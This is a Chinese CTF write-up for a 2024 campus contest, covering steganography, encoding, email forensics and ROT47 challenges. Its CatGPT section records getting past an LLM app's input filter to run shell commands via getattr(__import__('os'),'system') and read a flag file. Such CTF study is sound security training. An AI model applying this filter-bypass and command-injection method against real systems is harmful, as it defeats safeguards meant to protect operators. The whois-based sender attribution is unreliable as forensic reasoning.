2024校园赛

Misc

Signing

一个证书请求文件mycsr.csr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-----BEGIN CERTIFICATE REQUEST-----
MIICuDCCAaACAQAwczELMAkGA1UEBhMCQVUxDDAKBgNVBAgMA05TVzEPMA0GA1UE
BwwGU3lkbmV5MSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxIjAg
BgNVBAMMGUZMQUd7WTBVXzRSM19EMDFOR19HUjM0VH0wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQDUI2qGUQU61JJaWto2Qo6bd+kAnCGPiqF9rpKbdyvY
EsAWDAkQJl1F0caD70eqdzTJRP93vqEwMe7+nQrMJNE/SkuBKJlBIcapoF4N5s5W
FviU+FxlecLEHuAY/U9nXmiCMKAreh9TFTZZwOhhMEvyHv8gaBivsc77fTKNokN7
jKRW+s+hGUkjdzACTdRvXskSyVAKvm1svQrqRzyQsQ+q/D5DAen4F18JC8V79FwO
k8AVnDU5insR0eZRD1suwEVTlgY+CJTqcysSsZ46MfLUT3ZT/rJJOKAXMDUFc3hK
KKl2tnN2Mc0s458Fhi1s+MuAQsC1zDj+lZsvoagqn/u3AgMBAAGgADANBgkqhkiG
9w0BAQsFAAOCAQEAzIjhcaVS2J4OOqRy1hQndVN2ajv5bx6w7pHnXZ3tuvQm9t6j
db1kmGw3vPiaIdlhtt8vPCu2Iyke5gVnapXq4olrVBySIkzfxMQvSkHOnte/3Qzg
AaEJcl704zgjES6hDIECmLL9r6HbTrQtGG4e3UxAjju3HiZUT1zKed+V3N+XnEhZ
Y/fBNTrVbvJOMT4zYZGNSWK/8sedup29XN9IinFtTF5jNVTDSSaLdEdFjPCgl7SE
M/W3Zd5lIqE+Dz+kTEOM79r8kRs5TVnjfQxb49zR6uudh5y+30uyFgIoR4SjpYvC
gMz0qyiBkCjpZBEDIGjjh+r1z7/vBAaqqeQYhw==
-----END CERTIFICATE REQUEST-----

使用openssl命令：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 ~/Downloads/ openssl req -in mycsr.csr -noout -text
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: C=AU, ST=NSW, L=Sydney, O=Internet Widgits Pty Ltd, CN=FLAG{Y0U_4R3_D01NG_GR34T}
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:d4:23:6a:86:51:05:3a:d4:92:5a:5a:da:36:42:
                    8e:9b:77:e9:00:9c:21:8f:8a:a1:7d:ae:92:9b:77:
                    2b:d8:12:c0:16:0c:09:10:26:5d:45:d1:c6:83:ef:
                    47:aa:77:34:c9:44:ff:77:be:a1:30:31:ee:fe:9d:
                    0a:cc:24:d1:3f:4a:4b:81:28:99:41:21:c6:a9:a0:
                    5e:0d:e6:ce:56:16:f8:94:f8:5c:65:79:c2:c4:1e:
                    e0:18:fd:4f:67:5e:68:82:30:a0:2b:7a:1f:53:15:
                    36:59:c0:e8:61:30:4b:f2:1e:ff:20:68:18:af:b1:
                    ce:fb:7d:32:8d:a2:43:7b:8c:a4:56:fa:cf:a1:19:
                    49:23:77:30:02:4d:d4:6f:5e:c9:12:c9:50:0a:be:
                    6d:6c:bd:0a:ea:47:3c:90:b1:0f:aa:fc:3e:43:01:
                    e9:f8:17:5f:09:0b:c5:7b:f4:5c:0e:93:c0:15:9c:
                    35:39:8a:7b:11:d1:e6:51:0f:5b:2e:c0:45:53:96:
                    06:3e:08:94:ea:73:2b:12:b1:9e:3a:31:f2:d4:4f:
                    76:53:fe:b2:49:38:a0:17:30:35:05:73:78:4a:28:
                    a9:76:b6:73:76:31:cd:2c:e3:9f:05:86:2d:6c:f8:
                    cb:80:42:c0:b5:cc:38:fe:95:9b:2f:a1:a8:2a:9f:
                    fb:b7
                Exponent: 65537 (0x10001)
        Attributes:
            (none)
            Requested Extensions:
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        cc:88:e1:71:a5:52:d8:9e:0e:3a:a4:72:d6:14:27:75:53:76:
        6a:3b:f9:6f:1e:b0:ee:91:e7:5d:9d:ed:ba:f4:26:f6:de:a3:
        75:bd:64:98:6c:37:bc:f8:9a:21:d9:61:b6:df:2f:3c:2b:b6:
        23:29:1e:e6:05:67:6a:95:ea:e2:89:6b:54:1c:92:22:4c:df:
        c4:c4:2f:4a:41:ce:9e:d7:bf:dd:0c:e0:01:a1:09:72:5e:f4:
        e3:38:23:11:2e:a1:0c:81:02:98:b2:fd:af:a1:db:4e:b4:2d:
        18:6e:1e:dd:4c:40:8e:3b:b7:1e:26:54:4f:5c:ca:79:df:95:
        dc:df:97:9c:48:59:63:f7:c1:35:3a:d5:6e:f2:4e:31:3e:33:
        61:91:8d:49:62:bf:f2:c7:9d:ba:9d:bd:5c:df:48:8a:71:6d:
        4c:5e:63:35:54:c3:49:26:8b:74:47:45:8c:f0:a0:97:b4:84:
        33:f5:b7:65:de:65:22:a1:3e:0f:3f:a4:4c:43:8c:ef:da:fc:
        91:1b:39:4d:59:e3:7d:0c:5b:e3:dc:d1:ea:eb:9d:87:9c:be:
        df:4b:b2:16:02:28:47:84:a3:a5:8b:c2:80:cc:f4:ab:28:81:
        90:28:e9:64:11:03:20:68:e3:87:ea:f5:cf:bf:ef:04:06:aa:
        a9:e4:18:87

发现flag: FLAG{Y0U_4R3_D01NG_GR34T}

CatGPT

题目：Your friend announced their new invention: CatGPT. A language model to simulate interactions with a cat. Come to play with your AI Cat!

  1. Hint1: “What happens if you type print(‘hello’) to the language model?”
  2. Hint2: “Is there any way to use bash in python?”
  3. Hint3: “The flag is a file in the system.”

非常好！让我为你总结这次 CTF 挑战的解题思路和过程：

  1. 初始分析:

    • 题目涉及一个名为 CatGPT 的语言模型，模拟猫咪交互。
    • 提示暗示需要执行 Python 代码和 bash 命令。
    • 目标是在系统中找到一个标志文件。

  2. 初步尝试:

    • 尝试基本的 Python 命令如 print('hello')，被忽略。
    • 导入模块（如 import os, import subprocess）触发了 “meow” 响应。
    • 直接使用 os.system() 或 subprocess.run() 无效。

  3. 绕过策略:

    • 尝试了多种 Python 技巧，如使用 __import__、exec()、base64 编码等。
    • 大多数方法都被忽略或得到了 “meow” 响应。

  4. 突破口:

    • 使用 getattr(__import__('os'), 'system')('ls -l') 成功执行了系统命令。

    • 这个命令列出了目录内容，显示了一个名为 flag 的文件。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      Your input: getattr(__import__('os'), 'system')('ls -l')
      total 64
      lrwxrwxrwx     1 root root    7 Sep 11 14:04 bin -> usr/bin
      drwxr-xr-x     2 root root 4096 Apr 18  2022 boot
      drwxr-xr-x     5 root root  320 Oct  2 03:28 dev
      drwxr-xr-x     1 root root 4096 Oct  2 03:28 etc
      -rwxr-----     1 root root   43 Oct  2 03:28 flag
      drwxr-xr-x     2 root root 4096 Apr 18  2022 home
      lrwxrwxrwx     1 root root    7 Sep 11 14:04 lib -> usr/lib
      lrwxrwxrwx     1 root root    9 Sep 11 14:04 lib32 -> usr/lib32
      lrwxrwxrwx     1 root root    9 Sep 11 14:04 lib64 -> usr/lib64
      lrwxrwxrwx     1 root root   10 Sep 11 14:04 libx32 -> usr/libx32
      drwxr-xr-x     2 root root 4096 Sep 11 14:04 media
      drwxr-xr-x     2 root root 4096 Sep 11 14:04 mnt
      drwxr-xr-x     2 root root 4096 Sep 11 14:04 opt
      dr-xr-xr-x 11483 root root    0 Oct  2 03:28 proc
      drwx------     1 root root 4096 Sep 23 08:28 root
      drwxr-xr-x     1 root root 4096 Oct  2 03:28 run
      lrwxrwxrwx     1 root root    8 Sep 11 14:04 sbin -> usr/sbin
      drwxr-xr-x     2 root root 4096 Sep 11 14:04 srv
      -rwxr-xr-x     1 root root  114 Sep 23 23:45 start.sh
      dr-xr-xr-x    13 root root    0 Sep 14 08:57 sys
      drwxrwxrwt     1 root root 4096 Sep 23 11:36 tmp
      drwxr-xr-x     1 root root 4096 Sep 11 14:04 usr
      drwxr-xr-x     1 root root 4096 Sep 11 14:07 var

  5. 获取 flag:

    • 使用相同的方法读取 flag 文件：getattr(__import__('os'), 'system')('cat /flag')

    • 成功获取到 flag 内容：flag{f9a1194f-b4e2-407d-b378-3801380ff9e4}

      1
      2
      3
      Your input: getattr(__import__('os'), 'system')('cat /flag')
      flag{f9a1194f-b4e2-407d-b378-3801380ff9e4}
      CatGPT: (Ignores)

  6. 关键点:

    • CatGPT 有某些过滤机制，但可以通过特定的 Python 技巧绕过。
    • 使用 getattr 和 __import__ 的组合可以避开直接调用敏感函数。
    • 系统命令执行是获取信息的关键。

总结：这个 CTF 挑战测试了参与者绕过语言模型过滤机制的能力，以及在受限环境中执行系统命令的技巧。解决方案涉及了 Python 的高级特性和对系统命令的巧妙运用。最终，通过持续尝试不同的方法，找到了一种可以绕过限制并执行系统命令的方式，成功获取了 flag。

Keep calm

图片隐写题。

分析文件内容：

1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/tools]
└─# sudo binwalk -e keep-calm-and-ctf.jpg --run-as=root

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8

分离：

1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/tools]
└─# dd if=keep-calm-and-ctf.jpg of=extracted.tiff bs=1 skip=30
94690+0 records in
94690+0 records out
94690 bytes (95 kB, 92 KiB) copied, 0.0782025 s, 1.2 MB/s

查看：

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/tools]
└─# file extracted.tiff
extracted.tiff: TIFF image data, big-endian, direntries=3, resolutionunit=2, copyright=h1d1ng_in_4lm0st_pla1n_sigh7

得到flag: h1d1ng_in_4lm0st_pla1n_sigh7

Black and White

图片隐藏写题，使用stegsolve查看即可。

1
java -jar stegsolve.jar

Find_Me

一封邮件email-export.eml，且带附件。

题目：Who sent this email?! Flag will be a person’s name (Not case sensitive), for ex : John Smith.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Delivered-To: francismanzi@gmail.com
Received: by 2002:ab0:638a:0:0:0:0:0 with SMTP id y10csp123720uao;
        Thu, 7 Jul 2022 23:19:48 -0700 (PDT)
X-Google-Smtp-Source: AGRyM1u8MgQ0wT0JmPs4nZbKyuwluXeP+mglR/hb66VElgQnwB8M2ofwYUFsHj+eMYBFAVDPITJc
X-Received: by 2002:a5d:6d06:0:b0:21b:c434:d99e with SMTP id e6-20020a5d6d06000000b0021bc434d99emr1524437wrq.148.1657261188086;
        Thu, 07 Jul 2022 23:19:48 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1657261188; cv=none;
        d=google.com; s=arc-20160816;
        b=FJZQS4geDnyabQ7SUhA2v3roEqcufLmysXkLoRZd3yNXiNQFBFmwm5v5yANvDyyebA
         Jfjqv5X8Gujll585xj/MHlVhlEMg0edNWuwnLXj8SmNuPI1Jon9N+fokhSMxy2WxSACE
         4MruPo5QBlHdrFq8WNBAFgC1VtO0nR+BQYY18wqotLIQPvkXo3yOUUhx0D+ZjUwXvTKV
         yUFGdYulF58Lg7wAH/cLWROIHrraWTSsmaGWoYv577nztzueoG5RC5uUAGIAyzsJRqsV
         dCsapFxCUlbYbAgIVraylksCA+veFXfil6ocym8KKnls3j40Vojv0VLhHHZxXruG5x/K
         M5cQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=mime-version:message-id:date:subject:to:from:dkim-signature;
        bh=RneTbuEOZUlwei4ZNPvzjmZpQE92irBmuzImA33zPEc=;
        b=RUd+ycq1YWbRNn9wB8UgJ8dZz0tHpvmqcEGQkWqzLy/6j3aFzaf7dwdoCtXjTTtrrE
         z9g498cmB55fs0x1CAjtzI+Nctb1cbPcnfMCrfsF3LwgYhCErFRnbBbOgqw4eeEB+hk0
         sKBN0QVpSLs1HlF8ZK3XiMKA2p3vSgHlbhMDPGnFTLHEQjlM63d/L30Rt8mpQsT77ni/
         f6X0TqTi4Y8ARIuEELMa6m5E5wQcfUxeUU5WAssz46tQyHKR6xg/g8K2zES+gSNymASk
         c5Eaq55k4Zi8dXWaPIwg4IdhVLVxe4llMx8c46GTdh8tvdMtmjME3wIaFR6Q2SLWRSZA
         o0hw==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass header.i=@onionmail.org header.s=jan2022 header.b=4sU2nk5Z;
       spf=pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) smtp.mailfrom=lpage@onionmail.org;
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=onionmail.org
Return-Path: <lpage@onionmail.org>
Received: from mail.onionmail.org (mail.onionmail.org. [173.249.33.206])
        by mx.google.com with ESMTPS id f16-20020a05600c4e9000b003a1947873d6si1882702wmq.224.2022.07.07.23.19.47
        for <francismanzi@gmail.com>
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Thu, 07 Jul 2022 23:19:47 -0700 (PDT)
Received-SPF: pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) client-ip=173.249.33.206;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@onionmail.org header.s=jan2022 header.b=4sU2nk5Z;
       spf=pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) smtp.mailfrom=lpage@onionmail.org;
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=onionmail.org
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=onionmail.org;
 q=dns/txt; s=jan2022; bh=RneTbuEOZUlwei4ZNPvzjmZpQE92irBmuzImA33zPEc=;
 h=from:subject:date:message-id:to:mime-version:content-type;
 b=4sU2nk5ZG4F9+lCtCPU4nat6ovALqfOHOUM1/wTskeMdmMAa2yOMXy0GkqolIioL8nG0mRG45
 OD8b/nHZZEiA0aQppYHECSmXE7IFIFm/MP9wmXIlC/cDF1t9mEwumdDbes7hRhiO6q3A0wYWK+J
 C+qwHI99irsPhWZOptVVh0HV/HJPAtkzg7OBMX/oPDUSG3xo7dJvT5MCYUm2+4CBVjvLmEPUVTO
 uuVEU3HjVjumry5zw1H4s+o9jxCOwpT41uL94NM64Aki4+KIlS75W8Uo1YStqciHSHoEPLMvBhK
 OMfwhI02u5oLFbk6ZvmhyK5juc54lGbWgk277N0hB0Aw==
Received: from localhost
 by mail.onionmail.org (ZoneMTA) with API id 181dc76dff2000ccee.001
 for <francismanzi@gmail.com>;
 Fri, 08 Jul 2022 06:19:47 +0000
X-Zone-Loop: 83440723a48cf749c9e7702024ee772d7cb2fb7cab7a
Content-Type: multipart/mixed; boundary="--_NmP-426c22a2e0d8fc9a-Part_1"
From: Larry Page <lpage@onionmail.org>
To: francismanzi@gmail.com
Subject: One million Prize
Date: Fri, 08 Jul 2022 06:19:47 +0000
Message-ID: <03c11cd1-8fd9-584e-c9d7-e53df0faeccc@onionmail.org>
MIME-Version: 1.0

----_NmP-426c22a2e0d8fc9a-Part_1
Content-Type: multipart/alternative;
 boundary="--_NmP-426c22a2e0d8fc9a-Part_2"

----_NmP-426c22a2e0d8fc9a-Part_2
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hello dear user, I am Larry Page and I am delighted to announce to you that=
 you
are the 99999999th GMAIL account and for that we want to reward you. =
You've
earned $1,000,000. To claim your prize open the attached file.
----_NmP-426c22a2e0d8fc9a-Part_2
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

<p>Hello dear user, I am Larry Page and I am delighted to announce to you =
that you are the 99999999th GMAIL account and for that we want to reward =
you. You've earned $1,000,000. To claim your prize open the attached file.=
<br></p>
----_NmP-426c22a2e0d8fc9a-Part_2--

----_NmP-426c22a2e0d8fc9a-Part_1
Content-Type: text/plain; name=attachment.txt
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=attachment.txt

QW1vdW50OiAgJDEsMDAwLDAwMAo=
----_NmP-426c22a2e0d8fc9a-Part_1--

使用了 onionmail.org 这样的匿名邮件服务，意味着真实的发件人信息不会直接出现在邮件头中。

查询邮件中的IP：

1
whois 173.249.33.206

则发件人就是Johannes Selg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
person:         Johannes Selg
address:        Contabo GmbH
address:        Aschauer Str. 32a
address:        81549 Muenchen
phone:          +49 89 21268372
fax-no:         +49 89 21665862
nic-hdl:        MH7476-RIPE
mnt-by:         MNT-CONTABO
mnt-by:         MNT-GIGA-HOSTING
created:        2010-01-04T10:41:37Z
last-modified:  2024-04-15T11:05:18Z
source:         RIPE

% Information related to '173.249.32.0/23AS51167'

route:          173.249.32.0/23
descr:          CONTABO
origin:         AS51167
mnt-by:         MNT-CONTABO
created:        2018-02-01T09:50:10Z
last-modified:  2018-02-01T09:50:10Z
source:         RIPE

Hazy

题目是一个pdf文件。

尝试了很多方法，分离图片，分离zlib,分离aac音频文件，甚至mysql文件。

最终根据提示，转为word之后，发现图片后面隐藏有文字flag.

Base Family

题目：

1
0b1101000b10000010x350b1101010o650o710b1101000x350o640x440x350b1100100o640b10000100b1101000o1050b1101000x420b1100110o650b1101000o640b1101000o700b1101000b1101010b1101010b10000010b1101000b1100100x350x330b1101000x380b1101000x360x340o1030o650o660o650x330x350b1101100b1101000b1100110o640x420x350b1100000x340b10000010o640o1030o640x350o640x390b1101010b1101110x350o620x350x350x340o1020b1101000b1101100x350b1101100x340x360x340o630b1100110b1101100b1101000o630x350o640x340b1101110x340o1010x350x350x340x360o640x330x350o660b1101000o640x340o1060o640o1010x340x410b1100110x340x340b1101110x340o650b1101000x440b1100110x330b1101000b10001000x340b10000110b1101000x360b1101000b10000110o640b1101010x340o1060o650o650x350o640x340o1020o640b10000100x340o650b1101010b10000010b1101000x340b1101000o1020x330b1100110o650o640o640x340x340o1020b1101010b1101100b1101010b1101010b1101000o670o630b1101100o650b1101000x330x320o650b1101100o640x430b1101000x410o640b1100100x340x350x330b1101000b1101010x330o640b1100110x340b1100110x340o710b1101000b10001010b1101010o620b1101010o670x330x320o640x460b1101000o1010o650x350x340o1040o650x320o640o630o640b1101110b1101010b1100010o650o640x350o640b1101000b1100100x340x410b1101000b1100100b1101000b1110010o650b1101000o640o1020x330x440o630o1040o630x44

题目看似简单，然而数据的切分却比较麻烦，正则很难匹配。

首先反转字符串：

1
44x036o0401o036o044x033x0201o046o0001011b056o0100111b0001011b0010011b0001011b014x043x0010011b0001011b046o053x046o056o0100011b0101011b0111011b046o036o046o023x056o0401o043x053x056o0101o0001011b064x046o023x033x076o0101011b026o0101011b01010001b0001011b017o043x0110011b043x0110011b046o033x0101011b0001011b033x053x043x0010011b046o014x0001011b034x046o0011011b056o023x033x0001011b056o0011011b036o076o0001011b0101011b0101011b0011011b0101011b0201o043x043x046o046o056o0110011b033x0201o0001011b043x0001011b01000001b0101011b056o043x00100001b046o0201o043x046o053x056o056o0601o043x0101011b046o01100001b0001011b063x0001011b01100001b043x00010001b0001011b033x0110011b044x0001011b056o043x0111011b043x043x0110011b014x043x0101o046o0601o043x046o0001011b066o053x033x046o063x043x053x053x0101o043x0111011b043x046o053x036o0001011b0011011b0110011b036o043x063x043x0011011b053x0011011b0001011b0201o043x053x053x026o053x0111011b0101011b093x046o053x046o0301o046o01000001b043x0000011b053x024x046o0110011b0001011b0011011b053x033x056o066o056o0301o043x063x0001011b083x0001011b033x053x0010011b0001011b01000001b0101011b0101011b0001011b007o0001011b046o0001011b056o0110011b024x0001011b0501o0001011b00100001b046o0010011b053x044x046o053x0001011b017o056o0101011b053x01000001b0001011b0

根据x0,0o,b0进行切分。切分后每一段数据反转。再转换为10进制，再转换为ASCII码。

比如：

1
2
3
4
5
6
7
8
Original: 0x44 -> Decimal: 68 -> ASCII: 'D'
Original: 0o63 -> Decimal: 51 -> ASCII: '3'
Original: 0o104 -> Decimal: 68 -> ASCII: 'D'
······
Original: 0b110101 -> Decimal: 53 -> ASCII: '5'
Original: 0x35 -> Decimal: 53 -> ASCII: '5'
Original: 0b1000001 -> Decimal: 65 -> ASCII: 'A'
Original: 0b110100 -> Decimal: 52 -> ASCII: '4'

解码后的结果：

1
4A5559454D524B4E4B354448455A425348464C565356434B504A4C45495752554B46564643364354474A55464356444F4A4A3447454D334D4C464C454F55544B4B455A444B3354444B565547365432564C4A424534534343494E5257324F4A554D524347515454424A4249544B3D3D3D

Hex(Base16)解码得到：

1
JUYEMRKNK5DHEZBSHFLVSVCKPJLEIWRUKFVFC6CTGJUFCVDOJJ4GEM3MLFLEOUTKKEZDK3TDKVUG6T2VLJBE4SCCINRW2OJUMRCGQTTBJBITK===

base32解码得到：

1
M0FEMWFrd29WYTJzVDZ4QjQxS2hQTnJxb3lYVGRjQ25ncUhoOUZBNHBCcm94dDhNaHQ5

base64解码：

1
3AD1akwoVa2sT6xB41KhPNrqoyXTdcCngqHh9FA4pBroxt8Mht9

base58解码：

1
@iH<,{a@rRi&Pmrh2Xn<B1=?+QZNN_gRA2Ibf

base91解码：

1
flag{Enc0od3_checK1n_pIz_1234}

注意，可以使用密码识别工具快速定位编码方式。https://www.dcode.fr/cipher-identifier

Birds_on_a_wire

一张很多鸟的电线杆的图片，尝试图片隐写没找到什么有用的信息。搜索后发现这是一种加密方法，在线解密即可。

https://www.dcode.fr/birds-on-a-wire-cipher

https://www.cachesleuth.com/codes/birdsonawire.html

注意最后的Flag要全部大写。

Zipzipzip

Zips.zip文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root@kali)-[/home/h4m5t/Desktop/tools/zipctf]
└─# cat bash.sh 
#!/bin/bash

# 定义初始文件名
filename="zips.zip"

# 循环提取 ZIP 文件
while [ -f "$filename" ]; do
    # 提取当前 ZIP 文件中的所有内容
    unzip -o "$filename"
    
    # 找到下一个 ZIP 文件
    next_zip=$(find . -name "*.zip" | head -n 1)
    
    # 如果找到新的 ZIP 文件，更新 filename，否则跳出循环
    if [ -n "$next_zip" ]; then
        filename="$next_zip"
    else
        echo "Extraction complete or no more ZIP files found."
        break
    fi
done

解压得到flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root@kali)-[/home/…/Desktop/tools/zipctf/Zip Zip]
└─# sudo binwalk 00.zip --run-as=root

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v1.0 to extract, compressed size: 39, uncompressed size: 39, name: flag.txt
183           0xB7            End of Zip archive, footer length: 22
    
┌──(root@kali)-[/home/…/Desktop/tools/zipctf/Zip Zip]
└─# unzip 00.zip
Archive:  00.zip
 extracting: flag.txt                                                                                                              
┌──(root@kali)-[/home/…/Desktop/tools/zipctf/Zip Zip]
└─# ls
00.zip  04.zip  08.zip  12.zip  16.zip  20.zip  24.zip  28.zip  32.zip  36.zip  40.zip  44.zip  48.zip
01.zip  05.zip  09.zip  13.zip  17.zip  21.zip  25.zip  29.zip  33.zip  37.zip  41.zip  45.zip  49.zip
02.zip  06.zip  10.zip  14.zip  18.zip  22.zip  26.zip  30.zip  34.zip  38.zip  42.zip  46.zip  50.zip
03.zip  07.zip  11.zip  15.zip  19.zip  23.zip  27.zip  31.zip  35.zip  39.zip  43.zip  47.zip  flag.txt
                                                                                                            
┌──(root@kali)-[/home/…/Desktop/tools/zipctf/Zip Zip]
└─# cat flag.txt  
flag{cf97382071cb149aac8d6ab8baeaa3ee}

Blurry

一张模糊的二维码

https://www.iloveimg.com/zh-cn/upscale-image

提高一下图片质量，即可扫描出二维码内的flag.

bins

题目：

The rabbits left a mess in their cage.

1
// // // ('> ('> LX2gkn81 ('> /rr /rr carrots /rr *))_ *))_ *))_

If only I knew which bin to put the rubbish in.

打开网站，

https://pastebin.com/LX2gkn81

输入密码carrots,得到flag: he2023{s0rting_th3_w4ste}

Crypto

base

题目：

1
Ulc1amIyUnBibWNnWVNCdFpYTnpZV2RsSUdseklHRWdiRzkwSUc5bUlHWjFiaUIxYm5ScGJDQnBkQ0JwYzI0bmRDNGc= V20xNGFGb3pjM3BQVkd0M1RsZFJlVTFVVVRSYWFsSnRXa2RKTTFscVFYbE9WMDE1VFRKUk1rOUVVWGROUkU1cVdXNHdQUT09

第一段解码：

1
RW5jb2RpbmcgYSBtZXNzYWdlIGlzIGEgbG90IG9mIGZ1biB1bnRpbCBpdCBpc24ndC4g

再次解码：

1
Encoding a message is a lot of fun until it isn't.

第二段解码：

1
Wm14aFozc3pPVGt3TldReU1UUTRaalJtWkdJM1lqQXlOV015TTJRMk9EUXdNRE5qWW4wPQ==

再次解码：

1
ZmxhZ3szOTkwNWQyMTQ4ZjRmZGI3YjAyNWMyM2Q2ODQwMDNjYn0=

三次解码：

1
flag{39905d2148f4fdb7b025c23d684003cb}

Delivery

一个txt文件，根据提示：https://en.wikipedia.org/wiki/Byte_order_mark

1
2
3
4
5
6
7
8
9
10
11
12
~/Desktop/testtest/ hexdump -C message.txt
00000000  ff fe 68 00 fe ff 00 65  ff fe 32 00 fe ff 00 30  |..h....e..2....0|
00000010  ff fe 32 00 fe ff 00 33  ff fe 7b 00 fe ff 00 75  |..2....3..{....u|
00000020  ff fe 37 00 fe ff 01 92  ff fe 5f 00 fe ff 00 62  |..7......._....b|
00000030  ff fe 30 00 fe ff 00 6d  ff fe 35 00 fe ff 00 73  |..0....m..5....s|
00000040  ff fe 5f 00 fe ff 00 38  ff fe 72 00 fe ff 15 f1  |.._....8..r.....|
00000050  ff fe 5f 00 fe ff 00 6e  ff fe 30 00 fe ff 00 37  |.._....n..0....7|
00000060  ff fe 5f 00 fe ff 00 38  ff fe 63 31 fe ff 00 77  |.._....8..c1...w|
00000070  ff fe 61 00 fe ff 00 79  ff fe 35 00 fe ff 00 5f  |..a....y..5...._|
00000080  ff fe 31 00 fe ff 00 67  ff fe 6e 00 fe ff 00 30  |..1....g..n....0|
00000090  ff fe 72 00 fe ff 15 f1  ff fe 64 00 fe ff 00 7d  |..r.......d....}|
000000a0

提取出flag:

1
he2023{u7_b0m5s_8r_n07_8c1way5_1gn0rd}

Rotational

题目：

1
96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN

任务是解密这段文本，（flag）。初步尝试使用常见的 ROT13 等简单的旋转密码未能成功，提示“the rotor must have been too fast!”暗示可能使用了更复杂的旋转算法。

旋转密码简介

旋转密码（Rotation Cipher），也称为 凯撒密码（Caesar Cipher），是一种简单的替换加密方法，通过将字母表中的字母按固定数目进行位移来实现加密。例如，ROT13 将每个字母向后移动13位。ROT47 是 ROT13 的扩展，适用于所有可打印的 ASCII 字符。

ROT13 与 ROT47 的区别

  • ROT13：

    • 仅对字母（A-Z，a-z）进行旋转。
    • 每个字母旋转13位，因字母总数为26，旋转13位后再次旋转13位即可恢复原文。

  • ROT47：

    • 对所有可打印的 ASCII 字符（从 ! 到 ~，ASCII 33 到 126）进行旋转。
    • 总共有94个可打印字符，旋转47位实现对称加密和解密。

由于 ROT47 涉及更多字符，适用于更复杂的加密需求，且无需区分大小写或字符类型。

解密步骤

1. 确认使用 ROT47

根据题目提示“the rotor must have been too fast!”和加密文本的复杂性，初步判断可能使用了 ROT47 算法。

2. 理解 ROT47 的工作原理

对于每个可打印的 ASCII 字符：

  1. 检查字符是否在可打印范围内（ASCII 33 到 126）：

    • 如果是，则将其 ASCII 码减去33，添加47，然后对94取模，最后再加上33，得到解密后的字符。

    • 公式：

      1
      decoded_char = 33 + ((ASCII(c) - 33 + 47) % 94)

    • 例如，字符 A（ASCII 65）：

      1
      decoded_char = 33 + ((65 - 33 + 47) % 94) = 33 + (79 % 94) = 33 + 79 = 112 → 'p'

  2. 非可打印字符（如空格）保持不变。

3. 对每个字符应用 ROT47

我们将逐一对加密文本中的每个字符应用 ROT47 解密规则：

加密字符 ASCII码 计算过程 解密字符
9 57 33 + ((57 - 33 + 47) % 94) = 104 h
6 54 33 + ((54 - 33 + 47) % 94) = 101 e
a 97 33 + ((97 - 33 + 47) % 94) = 50 2
_ 95 33 + ((95 - 33 + 47) % 94) = 48 0
a 97 同上 2
b 98 33 + ((98 - 33 + 47) % 94) = 51 3
L 76 33 + ((76 - 33 + 47) % 94) = 123 {
_ 95 同上 0
? 63 33 + ((63 - 33 + 47) % 94) = 110 n
b 98 同上 3
0 48 33 + ((48 - 33 + 47) % 94) = 95 _
4 52 33 + ((52 - 33 + 47) % 94) = 99 c
c 99 33 + ((99 - 33 + 47) % 94) = 52 4
? 63 同上 n
0 48 同上 _
C 67 33 + ((67 - 33 + 47) % 94) = 114 r
b 98 同上 3
c 99 同上 4
5 53 33 + ((53 - 33 + 47) % 94) = 100 d
0 48 同上 _
C 67 同上 r
_ 95 同上 0
E 69 33 + ((69 - 33 + 47) % 94) = 116 t
_ 95 同上 0
C 67 同上 r
_ 95 同上 0
0 48 同上 _
3 51 33 + ((51 - 33 + 47) % 94) = 98 b
c 99 同上 4
4 52 同上 c
< 60 33 + ((60 - 33 + 47) % 94) = 107 k
H 72 33 + ((72 - 33 + 47) % 94) = 119 w
c 99 同上 4
C 67 同上 r
